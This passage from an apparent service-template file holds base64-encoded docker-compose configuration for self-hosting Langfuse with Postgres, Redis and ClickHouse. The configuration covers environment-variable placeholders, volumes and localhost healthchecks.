i10cnVlfScKICAgICAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TOi0xfScKICAgICAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUzotMTAwMH0nCiAgICAgIC0gUkVESVNfSE9TVD1yZWRpcwogICAgICAtIFJFRElTX1BPUlQ9NjM3OQogICAgICAtICdSRURJU19BVVRIPSR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgIC0gJ0VNQUlMX0ZST01fQUREUkVTUz0ke0VNQUlMX0ZST01fQUREUkVTUzotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdTTVRQX0NPTk5FQ1RJT05fVVJMPSR7U01UUF9DT05ORUNUSU9OX1VSTDotfScKICAgICAgLSAnTkVYVEFVVEhfU0VDUkVUPSR7U0VSVklDRV9CQVNFNjRfTkVYVEFVVEhTRUNSRVR9JwogICAgICAtICdBVVRIX0RJU0FCTEVfU0lHTlVQPSR7QVVUSF9ESVNBQkxFX1NJR05VUDotdHJ1ZX0nCiAgICAgIC0gJ0hPU1ROQU1FPSR7SE9TVE5BTUU6LTAuMC4wLjB9JwogICAgICAtICdMQU5HRlVTRV9JTklUX09SR19JRD0ke0xBTkdGVVNFX0lOSVRfT1JHX0lEOi1teS1vcmd9JwogICAgICAtICdMQU5HRlVTRV9JTklUX09SR19OQU1FPSR7TEFOR0ZVU0VfSU5JVF9PUkdfTkFNRTotTXkgT3JnfScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEOi1teS1wcm9qZWN0fScKICAgICAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRTotTXkgUHJvamVjdH0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTD0ke0xBTkdGVVNFX0lOSVRfVVNFUl9FTUFJTDotYWRtaW5AZXhhbXBsZS5jb219JwogICAgICAtICdMQU5HRlVTRV9JTklUX1VTRVJfTkFNRT0ke1NFUlZJQ0VfVVNFUl9MQU5HRlVTRX0nCiAgICAgIC0gJ0xBTkdGVVNFX0lOSVRfVVNFUl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTEFOR0ZVU0V9JwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgY2xpY2tob3VzZToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogIHBvc3RncmVzOgogICAgaW1hZ2U6ICdwb3N0Z3JlczoxNy1hbHBpbmUnCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19VU0VSPSR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX3Bvc3RncmVzX2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1oIGxvY2FsaG9zdCAtVSAkJHtQT1NUR1JFU19VU0VSfSAtZCAkJHtQT1NUR1JFU19EQn0nCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAogIHJlZGlzOgogICAgaW1hZ2U6ICdyZWRpczo4JwogICAgY29tbWFuZDoKICAgICAgLSBzaAogICAgICAtICctYycKICAgICAgLSAncmVkaXMtc2VydmVyIC0tcmVxdWlyZXBhc3MgIiRTRVJWSUNFX1BBU1NXT1JEX1JFRElTIicKICAgIGVudmlyb25tZW50OgogICAgICAtICdSRURJU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUkVESVN9JwogICAgdm9sdW1lczoKICAgICAgLSAnbGFuZ2Z1c2VfcmVkaXNfZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtICctYScKICAgICAgICAtICRTRVJWSUNFX1BBU1NXT1JEX1JFRElTCiAgICAgICAgLSBQSU5HCiAgICAgIGludGVydmFsOiAzcwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTAKICBjbGlja2hvdXNlOgogICAgaW1hZ2U6ICdjbGlja2hvdXNlL2NsaWNraG91c2Utc2VydmVyOjI2LjIuNC4yMycKICAgIHVzZXI6ICcxMDE6MTAxJwogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gJ0NMSUNLSE9VU0VfREI9JHtDTElDS0hPVVNFX0RCOi1kZWZhdWx0fScKICAgICAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xhbmdmdXNlX2NsaWNraG91c2VfZGF0YTovdmFyL2xpYi9jbGlja2hvdXNlJwogICAgICAtICdsYW5nZnVzZV9jbGlja2hvdXNlX2xvZ3M6L3Zhci9sb2cvY2xpY2tob3VzZS1zZXJ2ZXInCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDogJ3dnZXQgLS1uby12ZXJib3NlIC0tdHJpZXM9MSAtLXNwaWRlciBodHRwOi8vbG9jYWxob3N0OjgxMjMvcGluZyB8fCBleGl0IDEnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAxMAo=", + "compose": "eC1hcHAtZW52OgogIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfRlFETl9MQU5HRlVTRX0nCiAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAtICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAtICdFTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfNjRfTEFOR0ZVU0V9JwogIC0gJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAtICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogIC0gJ0NMSUNLSE9VU0VfTUlHUkFUSU9OX1VSTD1jbGlja2hvdXNlOi8vY2xpY2tob3VzZTo5MDAwJwogIC0gJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogIC0gJ0NMSUNLSE9VU0VfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0NMSUNLSE9VU0V9JwogIC0gQ0xJQ0tIT1VTRV9DTFVTVEVSX0VOQUJMRUQ9ZmFsc2UKICAtICdMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQj0ke0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9COi1mYWxzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ6LWxhbmdmdXNlfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYOi1ldmVudHMvfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg6LW1lZGlhL30nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRDotZmFsc2V9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUOi1sYW5nZnVzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg6LWV4cG9ydHMvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTjotYXV0b30nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VORFBPSU5UfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TOi0xfScKICAtICdMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TOi0xMDAwfScKICAtIFJFRElTX0hPU1Q9cmVkaXMKICAtIFJFRElTX1BPUlQ9NjM3OQogIC0gJ1JFRElTX0FVVEg9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAtICdFTUFJTF9GUk9NX0FERFJFU1M9JHtFTUFJTF9GUk9NX0FERFJFU1M6LWFkbWluQGV4YW1wbGUuY29tfScKICAtICdTTVRQX0NPTk5FQ1RJT05fVVJMPSR7U01UUF9DT05ORUNUSU9OX1VSTDotfScKICAtICdORVhUQVVUSF9TRUNSRVQ9JHtTRVJWSUNFX0JBU0U2NF9ORVhUQVVUSFNFQ1JFVH0nCiAgLSAnQVVUSF9ESVNBQkxFX1NJR05VUD0ke0FVVEhfRElTQUJMRV9TSUdOVVA6LXRydWV9JwogIC0gJ0hPU1ROQU1FPSR7SE9TVE5BTUU6LTAuMC4wLjB9JwogIC0gJ0xBTkdGVVNFX0lOSVRfT1JHX0lEPSR7TEFOR0ZVU0VfSU5JVF9PUkdfSUQ6LW15LW9yZ30nCiAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfTkFNRT0ke0xBTkdGVVNFX0lOSVRfT1JHX05BTUU6LU15IE9yZ30nCiAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEOi1teS1wcm9qZWN0fScKICAtICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRT0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FOi1NeSBQcm9qZWN0fScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw9JHtMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfTkFNRT0ke1NFUlZJQ0VfVVNFUl9MQU5HRlVTRX0nCiAgLSAnTEFOR0ZVU0VfSU5JVF9VU0VSX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9MQU5HRlVTRX0nCnNlcnZpY2VzOgogIGxhbmdmdXNlOgogICAgaW1hZ2U6ICdsYW5nZnVzZS9sYW5nZnVzZTozJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgY2xpY2tob3VzZToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIDA6ICdORVhUQVVUSF9VUkw9JHtTRVJWSUNFX0ZRRE5fTEFOR0ZVU0V9JwogICAgICAxOiAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgMjogJ1NBTFQ9JHtTRVJWSUNFX1BBU1NXT1JEX1NBTFR9JwogICAgICAzOiAnRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEXzY0X0xBTkdGVVNFfScKICAgICAgNDogJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgNTogJ0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM9JHtMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTOi1mYWxzZX0nCiAgICAgIDY6ICdDTElDS0hPVVNFX01JR1JBVElPTl9VUkw9Y2xpY2tob3VzZTovL2NsaWNraG91c2U6OTAwMCcKICAgICAgNzogJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgICAgIDg6ICdDTElDS0hPVVNFX1VTRVI9JHtTRVJWSUNFX1VTRVJfQ0xJQ0tIT1VTRX0nCiAgICAgIDk6ICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgICAgMTA6IENMSUNLSE9VU0VfQ0xVU1RFUl9FTkFCTEVEPWZhbHNlCiAgICAgIDExOiAnTEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I9JHtMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQjotZmFsc2V9JwogICAgICAxMjogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIDEzOiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT046LWF1dG99JwogICAgICAxNDogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAxNTogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIDE2OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0VORFBPSU5UfScKICAgICAgMTc6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMTg6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWDotZXZlbnRzL30nCiAgICAgIDE5OiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgMjA6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIDIxOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIDIyOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgMjM6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlR9JwogICAgICAyNDogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAyNTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYOi1tZWRpYS99JwogICAgICAyNjogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgMjc6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAyODogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYOi1leHBvcnRzL30nCiAgICAgIDI5OiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT046LWF1dG99JwogICAgICAzMDogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVH0nCiAgICAgIDMxOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VYVEVSTkFMX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VYVEVSTkFMX0VORFBPSU5UfScKICAgICAgMzI6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEfScKICAgICAgMzM6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAzNDogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAzNTogJ0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUzotMX0nCiAgICAgIDM2OiAnTEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUzotMTAwMH0nCiAgICAgIDM3OiBSRURJU19IT1NUPXJlZGlzCiAgICAgIDM4OiBSRURJU19QT1JUPTYzNzkKICAgICAgMzk6ICdSRURJU19BVVRIPSR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgIDQwOiAnRU1BSUxfRlJPTV9BRERSRVNTPSR7RU1BSUxfRlJPTV9BRERSRVNTOi1hZG1pbkBleGFtcGxlLmNvbX0nCiAgICAgIDQxOiAnU01UUF9DT05ORUNUSU9OX1VSTD0ke1NNVFBfQ09OTkVDVElPTl9VUkw6LX0nCiAgICAgIDQyOiAnTkVYVEFVVEhfU0VDUkVUPSR7U0VSVklDRV9CQVNFNjRfTkVYVEFVVEhTRUNSRVR9JwogICAgICA0MzogJ0FVVEhfRElTQUJMRV9TSUdOVVA9JHtBVVRIX0RJU0FCTEVfU0lHTlVQOi10cnVlfScKICAgICAgNDQ6ICdIT1NUTkFNRT0ke0hPU1ROQU1FOi0wLjAuMC4wfScKICAgICAgNDU6ICdMQU5HRlVTRV9JTklUX09SR19JRD0ke0xBTkdGVVNFX0lOSVRfT1JHX0lEOi1teS1vcmd9JwogICAgICA0NjogJ0xBTkdGVVNFX0lOSVRfT1JHX05BTUU9JHtMQU5HRlVTRV9JTklUX09SR19OQU1FOi1NeSBPcmd9JwogICAgICA0NzogJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRD0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRDotbXktcHJvamVjdH0nCiAgICAgIDQ4OiAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRTotTXkgUHJvamVjdH0nCiAgICAgIDQ5OiAnTEFOR0ZVU0VfSU5JVF9VU0VSX0VNQUlMPSR7TEFOR0ZVU0VfSU5JVF9VU0VSX0VNQUlMOi1hZG1pbkBleGFtcGxlLmNvbX0nCiAgICAgIDUwOiAnTEFOR0ZVU0VfSU5JVF9VU0VSX05BTUU9JHtTRVJWSUNFX1VTRVJfTEFOR0ZVU0V9JwogICAgICA1MTogJ0xBTkdGVVNFX0lOSVRfVVNFUl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTEFOR0ZVU0V9JwogICAgICBTRVJWSUNFX0ZRRE5fTEFOR0ZVU0VfMzAwMDogJyR7U0VSVklDRV9GUUROX0xBTkdGVVNFXzMwMDB9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAvYXBpL3B1YmxpYy9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAzCiAgbGFuZ2Z1c2Utd29ya2VyOgogICAgaW1hZ2U6ICdsYW5nZnVzZS9sYW5nZnVzZS13b3JrZXI6MycKICAgIGVudmlyb25tZW50OgogICAgICAtICdORVhUQVVUSF9VUkw9JHtTRVJWSUNFX0ZRRE5fTEFOR0ZVU0V9JwogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogICAgICAtICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAgICAgLSAnRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEXzY0X0xBTkdGVVNFfScKICAgICAgLSAnVEVMRU1FVFJZX0VOQUJMRUQ9JHtURUxFTUVUUllfRU5BQkxFRDotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogICAgICAtICdDTElDS0hPVVNFX01JR1JBVElPTl9VUkw9Y2xpY2tob3VzZTovL2NsaWNraG91c2U6OTAwMCcKICAgICAgLSAnQ0xJQ0tIT1VTRV9VUkw9aHR0cDovL2NsaWNraG91c2U6ODEyMycKICAgICAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgICAgLSBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogICAgICAtICdMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQj0ke0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9COi1mYWxzZX0nCiAgICAgIC